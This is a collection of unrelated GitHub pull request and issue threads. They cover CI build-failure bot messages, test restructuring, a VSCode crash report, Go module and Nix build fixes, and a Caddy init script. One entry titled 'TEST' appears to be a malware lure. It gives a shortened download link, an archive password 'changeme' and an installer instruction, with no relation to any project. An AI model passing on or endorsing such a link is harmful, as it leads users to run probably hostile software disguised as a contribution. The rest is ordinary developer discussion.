Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/444/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/443/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/443/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/444/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/445/

retest this please

retest this please

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/457/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/459/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/459/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/461/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/463/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/463/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/496/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/497/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/497/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/500/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/501/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/502/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/503/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/503/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/504/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/505/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/506/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/507/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/508/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/510/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/511/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/511/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/511/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/512/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/512/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/513/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/514/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/514/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/517/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/519/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/519/

retest this please

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/518/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/520/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/520/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/519/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/521/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/520/

Build Success with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/522/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/522/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/521/

reworked in #3393
closing this


[WIP] e2e: validate older pipeline runs are not present for the application

Fixes

https://issues.redhat.com/browse/HAC-4598
Description

HAC e2e : add a new test and validate older pipeline runs are not present for the application.

Create another application with same application name and component name.
Validate there should be only one commit in latest commits tab.
Validate pipeline runs are for the current commit and no old pipeline are visible.

Type of change

[ ] Feature
[ ] Bugfix
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] Documentation content changes
[x] Other (please describe): Test

Screen shots / Gifs for design review

How to test or reproduce?

Browser conformance:

[x] Chrome
[ ] Firefox
[ ] Safari
[ ] Edge

/lgtm
/approve

/approve cancel

[test]

[test]

/retest

[test]

[test]

[test]

/retest

/retest


Update Errors-and-Warnings.md

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/reference/Errors-and-Warnings.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/reference/Errors-and-Warnings.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/reference/Errors-and-Warnings.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Restructure regressions tests to use Tasty

Our regressions tests have now been moved over to be run by Tasty which brings nicer printout and concurrent testing. With some other changes we have reduced the time it takes to test examples, regressions etc to under 1 second on my 16-core AMD 5950X machine.
Tests are now better organized. We automatically discover tests in:

examples/
test/regression, where tests are expected to compile and run successfully (exit 0)
test/regression_build, where tests are expected to fail compilation
test/regression_segfault, where tests are expected to compile but segfault at run time
test/regression_run, where tests are expected to compile but fail at run time (non-0 exit code)

For example, if we fix a test in test/regression_build, we move the .act file over into test/regression since it is now expected to succeed. Just like before, currently failing tests are marked as such and if they start succeeding but are still "marked" (implied by their location) the test will fail. A test that has failed but is now succeeding should be moved!

Looking at some past CI runs I see tests on Linux take 30, 31, 34, 35, 36 seconds. In this pipeline it took 22 so definitely some improvement. Out of this, the tasty tests are less than 3 seconds. Majority of time is still spent in the Makefile driven tests. I believe some of the DDB tests take the longest.
The number of threads used to run tests is the same as the number of CPU cores in the machine and I think the CI machines only have 2 core, so not a lot of parallelism going on. Could perhaps tune this as well. Doesn't make a world of difference right now, but as we add even more and longer tests to run with Tasty, it could make a difference.


Load casks as instances of Hbc::Cask rather than subclasses

This has been a long time coming, and it's finally here! All traces of parsing casks as subclasses of Hbc::Cask have been wiped away. This simplifies the logic immensely, and makes the code much cleaner.
Casks are now eval'd directly from their definition files using Hbc::Source::PathBase#cask, with DSL elements injectable as either a constructor parameter or a block. To illustrate, the following snippets are equivalent:
# evaluates the given block in an Hbc::DSL instance context
Hbc::Cask.new('my-cask') do
  version :latest
  sha256 :no_check
end

dsl = Hbc::DSL.new('my-cask')
dsl.version :latest
dsl.sha256 :no_check

Hbc::Cask.new(dsl.token, dsl: dsl)

# my-cask.rb
cask 'my-cask' do
  version :latest
  sha256 :no_check
end

# core code
Hbc::Source::PathBase.new('my-cask.rb').load

@caskroom/maintainers any feedback on this? If not I'll go ahead and merge tonight before conflicts start to show up.

Merge at will.


vscode-encrypt in VSCode 1.51.0 and later dump core under chromedriver

VSCode Version: 1.51.0 and later
OS Version: openSUSE Tumbleweed and Fedora 33

Steps to Reproduce:

git clone https://github.com/SUSE/open-build-service-connector
yarn install
VSCODE_VERSION=1.51.0 yarn run test:ui

The last command launches vscode-extension-tester, which invokes VSCode in Selenium webdriver. VSCode will briefly open and then close immediately (at least it does on Linux). Opening the system log reveals that vscode was killed by SIGABRT:
●<EMAIL_ADDRESS>- Process Core Dump
     Loaded: loaded<EMAIL_ADDRESS>static)
     Active: inactive (dead)
       Docs: man:systemd-coredump(8)

Jan 20 14:54:05 Cerberus systemd[1]: Started Process Core Dump (PID 805309/UID 0).
Jan 20 14:54:06 Cerberus systemd-coredump[805310]: Process 805161 (code) of user 1000 dumped core.

                                                   Stack trace of thread 805191:
                                                   #0  0x00007f1838ade9d5 raise (libc.so.6 + 0x3d9d5)
                                                   #1  0x00007f1838ac78a4 abort (libc.so.6 + 0x268a4)
                                                   #2  0x00007f181bceb926 _ZN9__gnu_cxx27__verbose_terminate_handlerEv.cold (libstdc++.so.6 + 0x9e926)
                                                   #3  0x00007f181bcf71ac _ZN10__cxxabiv111__terminateEPFvvE (libstdc++.so.6 + 0xaa1ac)
                                                   #4  0x00007f181bcf7217 _ZSt9terminatev (libstdc++.so.6 + 0xaa217)
                                                   #5  0x00007f181bcf74c9 __cxa_throw (libstdc++.so.6 + 0xaa4c9)
                                                   #6  0x00007f18165f4029 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/resources/app/node_modules.asar.unpacked/vscode-encrypt/build/Release/vscode-encrypt-native.node + 0x90029)
                                                   #7  0x00007f18165fa645 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/resources/app/node_modules.asar.unpacked/vscode-encrypt/build/Release/vscode-encrypt-native.node + 0x96645)
                                                   #8  0x00007f18165f96ab n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/resources/app/node_modules.asar.unpacked/vscode-encrypt/build/Release/vscode-encrypt-native.node + 0x956ab)
                                                   #9  0x00007f18165f7a65 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/resources/app/node_modules.asar.unpacked/vscode-encrypt/build/Release/vscode-encrypt-native.node + 0x93a65)
                                                   #10 0x00007f18165f84c7 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/resources/app/node_modules.asar.unpacked/vscode-encrypt/build/Release/vscode-encrypt-native.node + 0x944c7)
                                                   #11 0x000055c673e5ef4a n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x6d40f4a)
                                                   #12 0x00007f183a1913f9 start_thread (libpthread.so.0 + 0x93f9)
                                                   #13 0x00007f1838ba2903 __clone (libc.so.6 + 0x101903)

                                                   Stack trace of thread 805161:
                                                   #0  0x00007f1838b9780f __poll (libc.so.6 + 0xf680f)
                                                   #1  0x00007f183a0946f6 g_main_context_iterate.constprop.0 (libglib-2.0.so.0 + 0xa56f6)
                                                   #2  0x00007f183a03fd43 g_main_context_iteration (libglib-2.0.so.0 + 0x50d43)
                                                   #3  0x000055c6708f3302 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x37d5302)
                                                   #4  0x000055c670932404 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x3814404)
                                                   #5  0x000055c67090c9ce n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x37ee9ce)
                                                   #6  0x000055c66f3cf934 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x22b1934)
                                                   #7  0x000055c66f3d1732 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x22b3732)
                                                   #8  0x000055c66f3ccd0d n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x22aed0d)
                                                   #9  0x000055c66f2bb0d9 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x219d0d9)
                                                   #10 0x000055c66f2bad0a n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x219cd0a)
                                                   #11 0x000055c671dc6a9a n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x4ca8a9a)
                                                   #12 0x000055c66f2b9341 n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x219b341)
                                                   #13 0x000055c66e753cbd n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x1635cbd)
                                                   #14 0x00007f1838ac91e2 __libc_start_main (libc.so.6 + 0x281e2)
                                                   #15 0x000055c66e7539ea n/a (/home/dan/suse/github.com/SUSE/open-build-service-connector/test-resources/default/VSCode-linux-x64/code + 0x16359ea)
Jan 20 14:54:06 Cerberus systemd[1]<EMAIL_ADDRESS>Succeeded.

I have also recorded a coredump that I could share. This issue is always reproducible and only started happening with vscode 1.51.0 and later, previous versions are not affected.

Does this issue occur when all extensions are disabled?: Cannot check

#104412 appears to be related as well.
The issues appears on insiders as well.

#104412 appears to be related as well.
The issues appears on insiders as well.

I have resolved this issue, it was caused by me messing with LD_PRELOAD a bit too much.


Update go.mod with v4 path

With version v4.x, the path should use the same versioning,
otherwise Go is angry and refuse to do its job.
From a new Pulumi project, the cli generates a go.mod file
and it wants to use v4 / v4.2.0, but instead on go mod download
we get this error:
go<EMAIL_ADDRESS>sdk/go.mod has non-.../v4 module path "github.com/pulumi/pulumi-digitalocean/sdk/v3" (and .../v4/go.mod does not exist) at revision sdk/v4.2.0

Related issue: #235

Hi @yitsushi
My apologies for this - I will bring this locally and merge it as I need to test the regeneration of the SDK
I will have the package published within the hour
Paul

Thank you @stack72 .

I am going to close this - you will see I have attributed the commit to you
https://github.com/pulumi/pulumi-digitalocean/commit/ecf330ba6ac6e68a1adeebab67e46a594daca231
Thanks so much for this! I will get 4.3.1 published as soon as our build goes green!


GLIP demo issue in colab

I am getting isssue
/content/GLIP/maskrcnn_benchmark/engine/predictor_glip.py in overlay_entity_names(self, image, predictions, names, text_size, text_pixel, text_offset, text_offset_original)
345
346             cv2.putText(
--> 347                 image, s, (int(x), int(y)-text_offset_original), cv2.FONT_HERSHEY_SIMPLEX, text_size, (self.color, self.color, self.color), text_pixel, cv2.LINE_AA
348             )
349             previous_locations.append((int(x), int(y)))
AttributeError: 'GLIPDemo' object has no attribute 'color'

Please refer to #31 for more details, thanks!

change "(self.color, self.color, self.color)" to "(255, 255, 255)"


wstunnel: fix build

Description of changes
The wstunnel package failed to build after the GHC 9.0.2 upgrade #160733.  This PR applies the patch from https://github.com/erebe/wstunnel/pull/107, unbreaks wstunnel, and adds myself as a maintainer.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

New test failure after staging-next, seemingly only for x86_64-linux: https://hydra.nixos.org/build/173505655
Can you investigate whether it's “just” flaky or a problem?

wstunnel builds fine for me on the haskell-updates branch, not sure why the test fails on hydra.


⚠ Samsung has degraded performance

In b887b12, Samsung (https://samsung.com) experienced degraded performance:

HTTP code: 200
Response time: 1556 ms

Resolved: Samsung performance has improved in de0cddf.


Add windows support using Hostprocess instead of static_configs for the nodes

What is missing?
There are docs on how to configure for windows: https://github.com/prometheus-operator/kube-prometheus/blob/main/docs/windows.md

Currently, Windows does not support running with windows_exporter in a pod so this add on uses additional scrape configuration to set up a static config to scrape the node ports where windows_exporter is configured.

This is no longer valid statement with the hostprocess support added in windows exporter: https://github.com/prometheus-community/windows_exporter/pull/864
Why do we need it?
Makes windows configuration dynamic instead of needing to know the ip addresses of the nodes up front
Environment

kube-prometheus version:
Insert Git SHA here

Anything else we need to know?:
Requires:

Kuberentes 1.22+
containerd 1.6 Beta+
WindowsHostProcessContainers feature-gate (currently in alpha in 1.22 going beta in 1.23) turned on for kube-apiserver and kubelet if using Kubernetes 1.22

There are some docs to do this manually here: https://github.com/prometheus-community/windows_exporter/blob/master/kubernetes/kubernetes.md#prometheus-podmonitor

We should update our examples and documentation then

Any progress on this? I need to set this up in our windows nodepool.


TEST

Specify Area of Project (1 - 5 words)
test
Date of Completion
2024-08-02
Specify the type of contribution (e.g., Documentation, Community Building, etc.).
Reviewing Code

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."


PR Send slack message on failure

Pull Request Test Coverage Report for Build<PHONE_NUMBER>3
Warning: This coverage report may be inaccurate.
This pull request's base commit is no longer the HEAD commit of its target branch. This means it includes changes from outside the original pull request, including, potentially, unrelated coverage changes.

For more information on this, see Tracking coverage changes with pull request builds.
To avoid this issue with future PRs, see these Recommended CI Configurations.
For a quick fix, rebase this PR at GitHub. Your next report should be accurate.

Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 93.067%

Totals

Change from base Build<PHONE_NUMBER>7:
0.0%

Covered Lines:
1517

Relevant Lines:
1630

💛  - Coveralls


dist/init/linux-sysvinit: caddy for SysVinit

In addition to linux-upstart and linux-systemd, I think this one might be very useful too.
The script is based on this script by @fredg, found via Installation du serveur Caddy sous Devuan ·  Frédéric Galusik. I have modified it into an extended version myself, since I had the need for this.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.

Cool, thanks! Would you mind adding your GitHub username to the readme and/or the comment in the top of the script file so that people know who they can ping for support (as these scripts are not officially supported)?
 Maybe broken for now, looks unrelated.)

Thanks for your quick reply! I have added the Original Author (credit where credit is due) and myself as the maintainer for this, do you also think this makes the most sense? I am open for improvements or suggestions.

That'll do @djvdorp, thank you!

Thanks for merging @mholt !
Speaking about maintaining the script, is there any possibility of getting Contributor access on this repo, or should it be done via more Pull Requests? (I am not sure how you handle this for Caddy)

There ya go! Thanks for helping to maintain it.

Thank you for your feedback @weingart, I have tried to process this feedback in https://github.com/mholt/caddy/pull/1008


test for readStream that fails

This is a test to see if the read stream also returns the base prefix if a value is present. @mafintosh is this expected to fail? As a user I would expect the read stream to include the value for the key used to create the stream.

We merged next :)


The download link for virt-viewer is not working.

The download link for virt-viewer is not working.
In the lines https://github.com/VirtualCable/openuds/blob/v3.6/server/src/uds/transports/SPICE/scripts/windows/direct.py#L28C14-L28C47 and https://github.com/ VirtualCable/openuds/blob/v3.6/server/src/uds/transports/SPICE/scripts/windows/tunnel.py#L29 the “/” sign must be removed from the link.
Open download page -> Open download page< /a>

Fixed... ;-)
Thanks